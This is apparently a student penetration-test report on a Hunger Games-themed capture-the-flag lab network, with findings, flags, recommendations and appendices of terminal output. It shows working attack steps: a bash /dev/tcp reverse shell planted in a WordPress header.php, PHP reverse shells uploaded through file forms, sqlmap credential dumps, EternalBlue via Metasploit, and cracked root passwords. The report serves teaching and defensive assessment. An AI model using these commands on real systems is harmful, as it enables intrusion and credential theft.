

2025

PENETRATION TESTING A NETWORK  
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## EXECUTIVE SUMMARY

This report presents the findings and methodologies employed during a comprehensive penetration test conducted on a designated network environment. The primary objective was to assess the network's security by identifying vulnerabilities across multiple host machines and locating embedded flags which are unique text strings with "FLAG" that simulates sensitive data or access points.


Throughout the engagement a structured approach was followed, encompassing a wide range of tactics for reconnaissance, scanning, exploitation and post-exploitation. Each Flag discovered was thoroughly documented, detailing the tools and techniques used to gain access. A total of 15 or more flags were targeted strategically placed across the network with varying levels of difficulty.

The outcomes of this assessment offer critical insights into the network's security weaknesses and provide recommendations to strengthen security against real-world threats.

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## NETWORK MAP



The scanned subnet 192.168.34.0/24 revealed five active hosts. The network includes a mix of Windows and Linux-based systems, each offering different services. One Host is a Windows machine running multiple RPC and file-sharing services, while others web, DNS, FTP, SSH, and proxy functionalities. The Kali Linux host (192.168.34.1) served as the scanning node.

See appendix A. for full network scan using nmap.

## NETWORK ANALYSIS

- Host 192.168.34.52 – Windows 7/Server 2008 R2 Machine:  
This host appears to be running Microsoft Windows, Windows 7 or 2008 R2 based on the OS fingerprint. It exposes several RPC-related ports (135, 49152-49157), indicating it may be used for remote operations or domain-based services. NetBIOS (139) and SMB (445) are also open, suggesting file sharing and potential vulnerability to known SMB exploits. Multiple HTTP API services (ports 2869, 5357, 10243) are likely for device discovery or UPNP. This host may be vulnerable to legacy Windows vulnerabilities, making it a high-value target for enumeration and potential privilege escalation.
- 192.168.34.241 – Linux Proxy and SSH Server:  
This device is a Linux-based operating system running an older version of OpenSSH and the Squid proxy server on port 3128. The presence of a proxy service suggests this host may be used to route or monitor network traffic. Port 8080 is closed but could be an indication of prior service or misconfiguration. The operating system fingerprint indicates a Linux distribution with kernel 3.x-4.x. This host may serve as a gateway or middle-layer filtering device and is likely crucial in controlling outbound or inbound web access.
- 192.168.34.161 – Linux Web and DNS Server:  
This Linux host is running multiple critical services: FTP (21), SSH (22), DNS (53), and a full web stack (HTTP/HTTPS on ports 80 and 443). The Apache web server and BIND DNS server suggest this is a core network service host. Its running an older version of Apache (2.4.10) and ProFTPD (1.3.4c), both of which are susceptible to known exploits if not patched. The presence of SSL implies secure web traffic handling. Overall, this host is likely functioning as both a public-facing web server and internal DNS resolver, making it a critical infrastructure point.
- 192.168.34.251 – Linux Web Server  
This system is running SSH (22) and HTTP (80) using Apache 2.4.38 on Debian, indicating it hosts a web application or dashboard. The OS fingerprint suggests it could be either a general-purpose Linux host or a Router device that can act as a firewall. Its minimal open ports and modern OS suggests its relatively secure, but the Apache version could still be a potential attack surface.
- 192.168.34.1 – Kali Linux (Scanning Host)  
This is the attacker's machine (Our Kali host), identified with port 3389 (RDP) open. The host is used as the scanning node. Its role is to perform reconnaissance, exploitation, and analysis in the environment. As the attacker's platform, it is equipped with tools such as Nmap and Metasploit.
- 172.18.55.69 – Internal Apache Web Server  
Only HTTP (80) was reachable (HTTPS filtered), routed via Meterpreter tunnel. It runs Apache/1.3.20 on Red Hat with mod\_ssl/2.8.4 (OpenSSL 0.9.6b) and serves a default landing page. A quick port scan through the SOCKS proxy confirmed only filtered HTTP/HTTPS.

## Penetration Test of Host 192.168.34.251

The first step of conducting the penetration test on host.168.34.251 was to conduct reconnaissance on the target to see vulnerabilities such as services running, open ports and directories etc. For the scanning node, in the Kali host terminal, a Nmap scan using the command ‘nmap -sS -sV -A -T4 192.168.168.34.251’ was executed. (see appendix B.1). This will scan the network and using ‘-sS’ provides Stealth SYN scan, ‘sV:’ version detection, ‘-A’ OS detection+script scan as well as ‘-T4’ for a faster scan. (Refer to appendix B.1). Next, using the command, gobuster dir -u <http://192.168.34.251> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt” and nikto -h on the target, will look for and reveal hidden paths and directories. (refer to appendix B.2 and B.3)

The first step in conducting the penetration test on the target host 192.168.34.251 involved performing reconnaissance to identify potential vulnerabilities such as open ports, running services, and exposed directories. From the Kali host terminal, an nmap scan was conducted. Following this, Gobuster was used to enumerate directories and hidden paths on the web server. Additionally, Nikto was run.

These tools helped reveal potentially vulnerable files and directories on the target server. (Refer to Appendices B.2 and B.3). During the Nikto scan, a file named dashboard.html was discovered. Upon inspection, this page included a file upload feature, which presents an opportunity for exploitation. (Refer to Appendix B.4) This functionality could potentially allow the upload of a malicious PHP reverse shell, enabling remote code execution if the server fails to properly validate file types.

Additionally, directory enumeration revealed a backup file located at <http://192.168.34.251/ajax.php.bak>. Using curl to inspect the contents of this file exposed sensitive information, including a session cookie token. (Refer to Appendix B.5) This token could be leveraged to bypass authentication and gain access to restricted areas of the site. To derive the reverse shell file, the php-reverse-shell.php file was downloaded from the /webshells folder on kali linux, which prompted user to update ip address and port number as seen in *Appendix F.10*.

Upon uploading the reverse shell, burpsuite was used to intercept the POST signal and the multipart binary string was detected as shown *Appendix F.7*. Firstly, using the *request cookies* function within burpsuite the known parts of the cookie was uploaded, with hints from the cookie the final letter “R” was found with trial and error, thus the final cookie was found; “%26G6u%40B6uDXMq%26MsR”. A new content-disposition header to match the cookie value shown in Figure 4, “secure = valld.” Once it’s correctly formatted, the server responds with “Upload successful” and returns ‘1’ as seen in *Appendix F.3*.

Upon uploading the reverse shell and navigating to the /owls file that was found previously in dirbuster as seen in *Appendix F.2*, a netcad listen on 4444 was run on the background, with this the reverse shell access was acquired. Once the shell was opened, a quick search around the directory revealed three files: cookie-gen.py, flag.txt and HangingTree.png and a password-reminder.txt as shown in *Appendix F.5*. This is how the first flag was discovered (*Appendix F.5*).

**FLAG 1 – Every snake in the Capitol Garden whispers: power is survival, and mercy is just another kind of weakness.**

Furthermore, by transferring HangingTree.png to the local kali machine by using the *wget* command (as seen in *Appendix B.10 & B.11*) running *zsteg* on the file, a second flag was found (*Appendix F.8*);

**FLAG 2 – Not all victors make it out of the arena. Some become ghosts, legends, or fuel for future flames. The Capitol decides the winner. The story decides the truth.**

Referring to the cookie-gen.py file, whilst running another netcad listen, *bin/bash* was run on the cookie-gen.py as seen in *Appendix F.9*, this allowed netcad to pick up the root as seen in *Appendix F.6*. Once this final part was obtained, using the same method for the first flag, the third flag was found (*Appendix F.6*);

FLAG 3 – Snow’s first kill wasn’t in the arena. It was made in secret, to protect a lie, to erase a name, and to ascend.

Exploits in Host 192.168.34.251:

- Apache 2.4.38 with a file upload vulnerability
- Information disclosure via backup file
- Reverse shell was achieved through file upload

Recommendations to bolster host’s security against threats:

1. Restrict File Uploads:
  - Enforce file type checking
  - Block executable files such as .php or exe
  - Scan uploads using antivirus tools
2. Disable Directory Listing and remove backup files (.bak)
3. Use Proper Permissions:
  - Web server should run as a non-privileged user
4. Sanitize User Input: Prevent command injection
5. Harden Apache:
  - Use Content-Security-Policy and X-Frame\_Options headers
  - Disable .htaccess overrides unless necessary
6. Use IDS, Intrusion Detection Systems like OSSEC.

## Penetration Test of Host 192.168.34.161

Entering the target’s IP address into Firefox initially revealed a webpage featuring some basic text. Following the instructions listed on the bottom, several DNS zone transfers were attempted on the target. The queried domain was guessed based on the webpage’s title, until a query into songbirds.snakes revealed several virtual hosts. (Refer to Appendices C.1 & C.2). All records pertaining to the target were copied into /etc/hosts, granting access to several new webpages. (See Appendix C.3)

Inputting each domain name into Firefox, a QR code was eventually discovered on the host district9.songbirds.snakes. Scanning this QR code with a mobile device revealed the first flag found on the target. (Refer to Appendix C.4)

FLAG 1 – Sejanus Plith wanted to save lives but became a pawn in a Capitol game where loyalty meant silence and betrayal meant legacy.

Domains *district5.songbirds.snakes* and *district12.songbirds.snakes*. contained a login page for *OpenManDoc* and a *WordPress* blog respectively (See Appendices C.14-C.21). An SQL injection vulnerability affecting OpenManDoc 1.2.7 was found online, listed on ExploitDB (2014). An SQL injection attack on *district5.songbirds.snakes*. was attempted with sqlmap, using the vulnerable parameter listed on the ExploitDB entry. With the guidance of a YouTube tutorial, the attack was successful and returned several databases used by the host (Akinbi, 2018). (See Appendix C.5). Of interest was the database labelled *password\_vault*, which was subject to further injection attacks via sqlmap to uncover its contents (See Appendices C.22 & C.23). The table *credentials* was identified, featuring a single entry for a user known as *admin*, alongside their password, *hungergames*, stored in plaintext. (Refer to Appendix C.6)

Entering these login credentials into *district12.songbirds.snakes*.’s *WordPress* login page successfully granted access into the host’s *WordPress* administrator dashboard. Various entry points for arbitrary code execution, such as uploading files and editing existing configuration files, were tested throughout the dashboard. Every attempt returned an error however, suggesting that write access to the host was restricted.

Further online research was conducted to explore additional methods, which lead to a technique that involved manually selecting a non-active theme first, editing its associated .php files, then saving was identified (HashSec, 2025). Testing this approach worked, and an attack vector to gain remote access into the target was determined. To gain command line access into the host, a reverse shell written in PHP was required. After some time researching online, a shell written by Arr0way (2022) was found and pasted into the *header.php* file of the installed *WordPress* theme *Twenty Sixteen*. (See Appendix C.7)

The reverse shell was saved using the method discussed before and triggered by setting *Twenty Sixteen* as the active theme for the webpage and refreshing the host's homepage, executing *header.php*. Port 4444 was then listened through using netcat to catch the incoming connection. (See Appendix C.8). Remote access into the target was successfully attained. Navigating through the system, backups of important Linux user information files (*/etc/shadow* and */etc/passwd*) were discovered and viewable with current privileges. (Refer to Appendix C.9). The entry for the root user in both files were copied and transferred onto an external machine with stronger hardware to make password cracking faster. John the Ripper was used on this machine to crack the password, unveiling the root password as **princess**. (See Appendices C.10 & C.11)

To be able to switch to the root user, the current shell needed to be upgraded via a Python script (Elmasry, 2023). Logging into the root user with the cracked password, root access into the machine was successfully achieved. (Refer to Appendix C.12)

The second flag was discovered inside a hidden text file in */home/drgaul*,

**FLAG 2 – In the 10th Hunger Games, tributes were not heroes but broken children in a bombed-out stadium, given no gifts—only grief and gravel.**

with another flag found in a text file in */root/*. (See Appendices C.13 & C.14)

**FLAG 3 – Coriolanus Snow wrote the anthem of Panem's control not with a pen, but with a snake bite, a loaded gun, and a buried memory.**

Exploits identified on Host 192.168.34.161:

- Running outdated Apache 2.4.10, ProFTPD 1.3.4c.
- Exposed services: FTP, DNS, HTTP/HTTPS.
- Public-facing and core service host.

Recommendations to make host more resilient to real-world threats:

1. Update Apache 2.4.20, ProFTPD, BIND to patched versions.
2. Use Strong Authentication for FTP or disable it entirely if not required.
3. Limit Zone Transfers.
4. Use Web Application Firewall:
  - Tools like ModSecurity can mitigate common attacks (XSS, SQL injection)
5. Secure SSL/TLS:
  - Use modern cipher suites
  - Disable weak protocols (SSLv2, SSLv3)
6. Disable Directory Listing in Apache
7. Run Services in Sandboxed Environments (Docker, systemd-nspawn, etc.)

## Penetration test of host 192.168.34.241

A network scan of 192.168.34.241 revealed only SSH on port 22 and an open HTTP proxy on 3128, prompting content enumeration through that proxy as seen in Appendix E.1.

Directory brute-forcing exposed a *robots.txt* that disallowed */wolfcms* with this clue, visiting <http://192.168.34.241/wolfcms/?/admin/login> displayed the Wolf CMS admin page (*Appendix E.2 and E.3*). Default credentials (*admin/admin*) granted dashboard access immediately, where an upload tab was found within the website, the file-upload feature was used to deploy a PHP reverse shell that was previously



acquired from the /webshells folder, the ip and the port were then adjusted to 192.168.34 as seen in *Appendix E.4*. Once the ip and port numbers were adjusted the file was uploaded and found at *wolfcms/public/shell.php*, as seen in *Appendix E.5*.

A Netcat listener on port 4444 received the callback, granting a shell under the web-service account (*Appendix E.6 & E.7*). With that, a restricted shell access was granted, the shell was then inspected and the first flag.txt and hello-world binary was found within the home directory as seen in *Appendix E.9*.

**FLAG 1 – “The ballad of Lucy Gray Baird” ends in a vanishing act, a trail into the wilds, and a question: was she ever meant to survive?**

We discovered that /var/www/connect.py was world-writable and owned by root a sign of a cron-run script that might execute automatically with elevated privileges. Inspecting its contents revealed two print lines, which indicates that it could be vulnerable. After exploiting this by overwriting connect.py with a Python reverse-shell (referring to 192.168.34.1:4444), cron’s next tick signalled a root-level listener. Once inside as root /root/flag.txt was explored for the second flag (*Appendix E.8 and E.10*).

**FLAG 2 – The Peacekeepers wore white, but they were trained in gray morality. Some followed orders; others wrote history in blood across districts.**

Separately, the SUID “hello-world” binary was copied from /home/lucy/ back to Kali, it was found that the file was packed using upx, so by running *strings | less* the file was unpacked then loaded into Radare2 which a command *izz* and *grep* which immediately revealed a hidden flag (*Appendix E.11*).

**FLAG 3 – The Capitol’s anthem hides a lie in every note. Freedom isn’t found in rules or roses, but in rebellion, verse, and vanished girls.**

## Penetration Test of Host 192.168.34.52

Using Nmap scan, it revealed that the host 192.168.34.52 was using Microsoft Windows 7. It was shown through the scan that multiple ports such as TCP 445(SMB) was open. (Refer to Appendix D.1) As workshop knowledge, Metasploit was used (exploit/windows/smb/ms17\_010\_eternalblue) as it showed that it had the EternalBlue vulnerability. After inputting RHOSTS (192.168.34.52) and LHOST (192.168.34.1 – from ip a), an exploit was successful. (See Appendix D.2). A meterpreter shell was successfully attained with the reverse\_tcp payload. Once access to system was obtained, multiple files and directories were searched. (Refer to Appendix D.3)

The ‘Coriolanus’ directory was recently modified. After navigating through the directory, it was confirmed the ‘documents’ file was recently modified. Date being 2025-04-23. Upon inspecting the documents directory, file named ‘decode.me’ was identified and opened using ‘cat decode.me’. This revealed a string. (See Appendix D.4)

The string:

```
nZouA9cYMwDt3yKQrNfVG4UXRHQRmsrGoFCGzyenwVPNsUs5JZcY66dvhMEq5LsNSsgLmHz4vVU
H3u6SazwxLWmK9Dt4MFYhdoaU9LrnbyXM1AX4r3RQxk1D523EwfpDp4vVwi9g6W9B8uMcwQXvjtp
LaiWi51h5ibwgSahgGStwJMA1w9EQH4c1F8GCD2QfvD1KcLJADNYemwigxSRarhBXw3AseNugwAgfi
uv4HkX7
```

This was pasted into CyberChef and using “From Base 58” recipe the flag was decoded into:

**FLAG 1- The Jabberjays were designed to spy, but they learned to sing back secrets. Their betrayal sparked a revolution, not just against enemies, but against their creators.**  
(See Appendix D.5)

Furthermore, after analysing the other directories, it was found that the ‘Pictures’ directory had a file named ‘wallpaper.png’. This was last modified in 2025. (Refer to Appendix D.6). After the file was downloaded onto kali, it presented another flag. (See Appendix D.7)

FLAG 2 – Before Katniss, there was a girl with a rainbow dress and a mockingjay on her shoulder- Lucy Gray, who vanished into the forest like a ghost.

After some more analysis, the registry was inspected. (Refer to Appendix D.8). Afterwards, the ‘FlagsRHere’ was downloaded into the Coriolanus directory. (See Appendix D.9). The file was opened from the Coriolanus directory, and it revealed this:

FLAG 3 - Snow always lands on top, but even the Capitol can't erase the sound of Lucy Gray's final song echoing through the woods of District 12.

(Refer to Appendix D.10)

Exploits Identified on 192.168.34.52:

- Open SMB (445) and NetBIOS (139) ports.
- RPC services (135, 49152-49157) exposed.
- Vulnerable to EternalBlue (MS17-010).
- Legacy OS with known privilege escalation flaws.


Recommendations to better protect host from attacks:

1. Upgrade OS: Migrate to a supported version such as Windows10/11 or Server 2019+.
2. Apply Patches to ensure MS17-010 and other critical updates are installed.
3. Restrict SMB: Disable SMBv1 and use host-based firewalls to block TCP 445/139 external access.
4. Limit RPC exposure: Use firewall rules to restrict access to only trusted Ips.
5. Disable Unused Services such as file/print sharing if not needed.
6. Implement Network Segmentation: Place legacy systems in isolated VLANs.
7. Enable Host-Based Firewall & IDS: Use tools such as Windows Defender Firewall and Sysmon.


## Penetration test of host 172.18.55.69

After owning the 192.168.34.161 DNS server, we pulled the entire songbirds.snakes zone via a zone transfer (dig axfr songbirds.snakes @192.168.34.161), revealing sixteen records (Appendix G.3). Most of the “districtX.songbirds.snakes” records pointed back to 192.168.34.161, while key services thearena.songbirds.snakes (192.168.34.241), thecapital.songbirds.snakes (192.168.34.52), and thehangingtree.songbirds.snakes (192.168.34.251) mapped to our other targets. Crucially, we also saw theacademy.songbirds.snakes resolving to 172.18.55.69, indicating a previously unknown internal subnet. Using Meterpreter’s autoroute -s 172.18.55.69/32 we injected that route into our session, then forwarded our local port 8080 to remote port 80 on 172.18.55.69 (portfwd add -l 8080 -p 80 -r 172.18.55.69; Appendix G.2). Browsing to http://localhost:8080 displayed an Apache/1.3.20 default page running mod\_ssl/2.8.4 OpenSSL/0.9.6b (Appendix G.4), but no login, upload forms, or flag references. Finally, an Nmap SYN scan through our SOCKS proxy showed both ports 80 and 443 as filtered (Appendix G.1), suggesting a restrictive firewall or IDS. In sum, aside from confirming the host’s existence and basic HTTP service, we discovered no further flags or obvious points of entry on 172.18.55.69 other than its existence.

## APPENDICIES



### Appendix B.1



Appendix B.2 - gobuster dir -u <http://192.168.34.251> -w /usr/share/word/lists/dirb/common.txt -x php,html,txt

```

kali@kali: ~
File Actions Edit View Help
(kali@kali)~$ nikto -h 192.168.34.251
- Nikto v2.5.0


+ Target IP: 192.168.34.251
+ Target Hostname: 192.168.34.251
+ Target Port: 80
+ Start Time: 2025-05-18 17:50:22 (GMT10)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 5a0, size: 615395841baa0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2025-05-18 17:50:33 (GMT10) (11 seconds)


+ 1 host(s) tested
(kali@kali)~$

```

Appendix B.3 – nikto -h 192.168.34.251 (-h specifies host to scan)



Appendix B.4 - 192.168.34.251/dashboard.html File Upload page.




Appendix B.5 – Using curl <http://192.168.34.251/ajax.php.bak>

```

*~/php-reverse-shell.php - Mousepad
File Edit Search View Document Help
47 set_time_limit(0);
48 $VERSION = "1.0";
49 $ip = '192.168.34.251';
50 $port = 4444;
51 $chunk_size = 1400;
52 $write_a = null;
53 $error_a = null;
54 $shell = 'uname -a; w; id; /bin/sh -i';
55 $daemon = 0;
56 $debug = 0;
57

```

## Appendix B.6 – PHP reverse shell



## Appendix B.7 – Burpsuite proxy used to change code with token to upload shell.



## Appendix B.8



```

~$ nc -l -p 4444
listening on [any] 4444 ...
connect to [192.168.34.1] from (UNKNOWN) [192.168.34.251] 56512
Linux TheHangingTree 4.19.0-16-amd64 #1 SMP Debian 4.19.161-1 (2021-03-19) x86_64 GNU/Linux
00:05:15 up 9:43, 0 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cd home
$ ls
sejanus
team-tasks
$ sejanus
/bin/sh: 4: sejanus: not found
$ cd sejanus
$ ls
HangingTree.png
flag.txt
password-reminder.txt
$ cat flag.txt
FLAG - Every snake in the Capitol garden whispers: power is survival, and mercy is just another kind of weakness.$

```

## Appendix B.9

```

$ ls
HangingTree.png
flag.txt
password-reminder.txt
$ cat password-reminder.txt
password: HungerGames
$ python3 -m http.server 8000

```

## Appendix B.10

```

(kali@kali)-[~]
└─$ wget http://192.168.34.251:8000/HangingTree.png
--2025-05-20 19:27:30-- http://192.168.34.251:8000/HangingTree.png
Connecting to 192.168.34.251:8000... connected.
HTTP request sent, awaiting response... 200 OK (application/javascript)
Length: 419189 (409K) [image/png]
Saving to: 'HangingTree.png'

HangingTree.png      100%[=====] 409.36K  --.-KB/s  in 0.03s
2025-05-20 19:27:30 (14.8 MB/s) - 'HangingTree.png' saved [419189/419189]

```

## Appendix B.11

```


(kali@kali)-[~]
└─$ sudo apt update
[sudo] password for kali:
Get:1 http://wlgam.fsmg.org.nz/kali kali-rolling InRelease [41.5 kB]
Get:2 http://wlgam.fsmg.org.nz/kali kali-rolling/main Sources [17.4 MB]
Get:3 http://wlgam.fsmg.org.nz/kali kali-rolling/non-free Sources [124 kB]
Get:4 http://wlgam.fsmg.org.nz/kali kali-rolling/contrib Sources [82.5 kB]
Get:5 http://wlgam.fsmg.org.nz/kali kali-rolling/non-free-firmware Sources [8275 B]
Get:6 http://wlgam.fsmg.org.nz/kali kali-rolling/main amd64 Packages [21.0 MB]
Get:7 http://wlgam.fsmg.org.nz/kali kali-rolling/main amd64 Contents (deb) [52.0 MB]
Get:8 http://wlgam.fsmg.org.nz/kali kali-rolling/contrib amd64 Packages [121 kB]
Get:9 http://wlgam.fsmg.org.nz/kali kali-rolling/contrib amd64 Contents (deb) [327 kB]
Get:10 http://wlgam.fsmg.org.nz/kali kali-rolling/non-free amd64 Packages [204 kB]
Get:11 http://wlgam.fsmg.org.nz/kali kali-rolling/non-free amd64 Contents (deb) [915 kB]
Get:12 http://wlgam.fsmg.org.nz/kali kali-rolling/non-free-firmware amd64 Packages [10.6 kB]
Get:13 http://wlgam.fsmg.org.nz/kali kali-rolling/non-free-firmware amd64 Contents (deb) [24.3 kB]
Fetched 92.2 MB in 14s (6775 kB/s)
202 packages can be upgraded. Run 'apt list --upgradable' to see them.

(kali@kali)-[~]
└─$ sudo apt install ruby ruby-dev libmagickwand-dev imagemagick
ruby is already the newest version (1:3.3+b1).
ruby set to manually installed.
ruby-dev is already the newest version (1:3.3+b1).
ruby-dev set to manually installed.

```

## Appendix B.12





### Appendix C.1

```
(kali@kali) ~$ dig AXFR songbirds.snakes @192.168.34.161
; <<>> DIG 9.20.8-6-Debian <<>> AXFR songbirds.snakes @192.168.34.161
;; global options: +cmd
songbirds.snakes. 604800 IN SOA ns.songbirds.snakes. admin.songbirds.snakes. 2 604800 86400 2419200 604800
songbirds.snakes. 604800 IN NS ns.songbirds.snakes.
district1.songbirds.snakes. 604800 IN A 192.168.34.161
district12.songbirds.snakes. 604800 IN A 192.168.34.161
district2.songbirds.snakes. 604800 IN A 192.168.34.161
district5.songbirds.snakes. 604800 IN A 192.168.34.161
district6.songbirds.snakes. 604800 IN A 192.168.34.161
district8.songbirds.snakes. 604800 IN A 192.168.34.161
district9.songbirds.snakes. 604800 IN A 192.168.34.161
ns.songbirds.snakes. 604800 IN A 192.168.34.161
theacademy.songbirds.snakes. 604800 IN A 172.18.55.69
thearena.songbirds.snakes. 604800 IN A 192.168.34.241
thecapital.songbirds.snakes. 604800 IN A 192.168.34.52
thehangintree.songbirds.snakes. 604800 IN A 192.168.34.251
thelaboratory.songbirds.snakes. 604800 IN A 192.168.34.161
songbirds.snakes. 604800 IN SOA ns.songbirds.snakes. admin.songbirds.snakes. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.34.161#53(192.168.34.161) (TCP)
;; WHEN: Sat May 10 08:12:23 AEST 2025
;; XFR size: 16 records (messages 1, bytes 507)
```

### Appendix C.2

```
GNU nano 8.4 /etc/hosts *
127.0.0.1 localhost
127.0.1.1 kali
192.168.34.161 district1.songbirds.snakes.
192.168.34.161 district12.songbirds.snakes.
192.168.34.161 district2.songbirds.snakes.
192.168.34.161 district5.songbirds.snakes.
192.168.34.161 district6.songbirds.snakes.
192.168.34.161 district8.songbirds.snakes.
192.168.34.161 district9.songbirds.snakes.
192.168.34.161 ns.songbirds.snakes.
192.168.34.161 thelaboratory.songbirds.snakes.
```

### Appendix C.3



**FLAG - Sejanus Plith wanted to save lives but became a pawn in a Capitol game where loyalty meant silence and betrayal meant legacy.**

### Appendix C.4



```
(kali@kali)-[~]
$ sqlmap -u "http://district5.songbirds.snakes./ajax_udf.php?q=16add_value=odm_user*" --dbs
[16:53:08] [INFO] retrieved: wordpressdb
available databases [9]:
[*] cdcol
[*] information_schema
[*] mysql
[*] opendocman
[*] password_vault
[*] performance_schema
[*] phpmysqladmin
[*] test
[*] wordpressdb
```

## Appendix C.5

```
Database: password_vault
Table: credentials
[1 entry]
+-----+-----+-----+
| password | username | type |
+-----+-----+-----+
| hungergames | admin | type="hidden" |
+-----+-----+-----+
| submit | type="submit" |
+-----+-----+-----+
```

## Appendix C.6

### Edit Themes

#### Twenty Sixteen: Theme Header (header.php)

Selected file content:

```
1 <?php
2 exec("/bin/bash -c 'bash -i>&/dev/tcp/192.168.34.1/4444 0>&1'");
3 ?>
```

## Appendix C.7

```
(kali@kali)-[~]
$ nc -l -p 4444
bash: cannot set terminal process group (506): Inappropriate ioctl for device
bash: no job control in this shell
daemon@TheLaboratory:/opt/lampp/wordpress$
```

## Appendix C.8

```
daemon@TheLaboratory:/etc$ ls
pam.conf
pam.d
passwd
passwd-
selinux
services
shad.ow
shadow
```

## Appendix C.9

```
ryan@teletraan-II:Documents $ sudo john --format=crypt crack.txt
```

## Appendix C.10

```
ryan@teletraan-II:Documents $ sudo john --format=crypt crack.txt --show
root:princess:0:0:root:/root:/bin/bash
```

## Appendix C.11

```
daemon@TheLaboratory:/opt/lampp/wordpress$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ess$ python3 -c 'import pty;pty.spawn("/bin/bash")'
daemon@TheLaboratory:/opt/lampp/wordpress$ su root
su root
Password: princess

root@TheLaboratory:/opt/lampp/wordpress#
```


## Appendix C.12

```
root@TheLaboratory:~# ls
ls
a548dbc45b9aa1ed262fc4abdc6e56e3-opendocman-1.2.7.tar.gz
flag.txt
john-1.9.0-jumbo-1.tar.gz
wordpress-5.1.13-en_AU.tar.gz
xampp-linux-x64-1.8.2-6-installer.run
root@TheLaboratory:~# pwd
pwd
/root
root@TheLaboratory:~# cat flag.txt
cat flag.txt
FLAG - In the 10th Hunger Games, tributes were not heroes but broken children in a bombed-out stadium, given no gifts-only grief and gravel.
```


## Appendix C.13

```
root@TheLaboratory:/home/drgaul# ls -a
ls -a
. .bash_logout .flag.txt john-1.9.0-jumbo-1
.. .bashrc hints.txt .profile
root@TheLaboratory:/home/drgaul# cat .flag.txt
cat .flag.txt
FLAG - Coriolanus Snow wrote the anthem of Panem's control not with a pen, but with a snake bite, a loaded gun, and a buried memory.
```


## Appendix C.14




## Appendix C.15




Appendix C.16




Appendix C.17




Appendix C.18



## Appendix C.19



## Appendix C.20



## Appendix C.21



```
(kali@kali)-[~]
$ sqlmap -u "http://district5.songbirds.snakes/ajax_udf.php?q=16add_value=odm_user*" -D password_vault -tables

Database: password_vault
[1 table]

+-----+
| credentials |
+-----+
```


## Appendix C.22

```
(kali@kali)-[~]
$ sqlmap -u "http://district5.songbirds.snakes/ajax_udf.php?q=16add_value=odm_user*" -D password_vault -T credentials --dump

Database: password_vault
Table: credentials
[1 entry]

+-----+-----+
| password | username |
+-----+-----+
| hungergames | admin |
+-----+-----+
```

## Appendix C.23



## Appendix D.1

```
File Actions Edit View Help
23 \_ AKA: ETERNALBLUE
24 auxiliary/scanner/smb/smb_ms17_010
25 \_ AKA: DOUBLEPULSAR
26 \_ AKA: ETERNALBLUE

Interact with a module by name or index. For example info 26, use 26 or use a
auxiliary/scanner/smb/smb_ms17_010

msf5 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.34.52
RHOSTS => 192.168.34.52
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.34.1
LHOST => 192.168.34.1
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.34.1444
[*] 192.168.34.52:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.34.52:445 - Host is likely VULNERABLE to MS17-010! - Windows
7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] Sending stage (268846 bytes) to 192.168.34.52
[*] /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.10/lib
0/recog/fingerprint/regex_factory.rb:34: warning: nested repeat operator '+'
and '?' was replaced with '*' in regular expression
[*] 192.168.34.52:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.34.52:445 - The target is vulnerable.
[*] 192.168.34.52:445 - Connecting to target for exploitation.
[*] 192.168.34.52:445 - Connection established for exploitation.
[*] 192.168.34.52:445 - Target OS selected valid for OS indicated by SMB repl
y
[*] 192.168.34.52:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.34.52:445 - 0x00000000 57 66 6e 64 6f 77 73 20 37 20 45 6e 74 65
72 76 Windows 7 Intern
[*] 192.168.34.52:445 - 0x00000010 72 69 73 65 20 37 36 30 31 28 53 65 72 76
69 63 rise 7601 Servic
[*] 192.168.34.52:445 - 0x00000020 65 20 50 61 63 6b 20 31
e Pack 1
[*] 192.168.34.52:445 - Target arch selected valid for arch indicated by DC/
RPC
reply
[*] 192.168.34.52:445 - Trying exploit with 32 Groom Allocations.
[*] 192.168.34.52:445 - Sending all but last fragment of exploit packet
[*] Meterpreter session 1 opened (192.168.34.1:4444 -> 192.168.34.52:49281) a
2-403-40-16 04:28:12 ->1800
[*] 192.168.34.52:445 - RubySMB::Error::CommunicationError: RubySMB::Error::C
ommunicationError

meterpreter > sysinfo
```

## Appendix D.2

The screenshot shows a Kali Linux terminal window with the title bar "kali@kali: ~". The terminal output is as follows:

```

File Actions Edit View Help
048555/r-r-x 0 dir 2024-04-02 15:01:53 +1 Searches
r-x 000
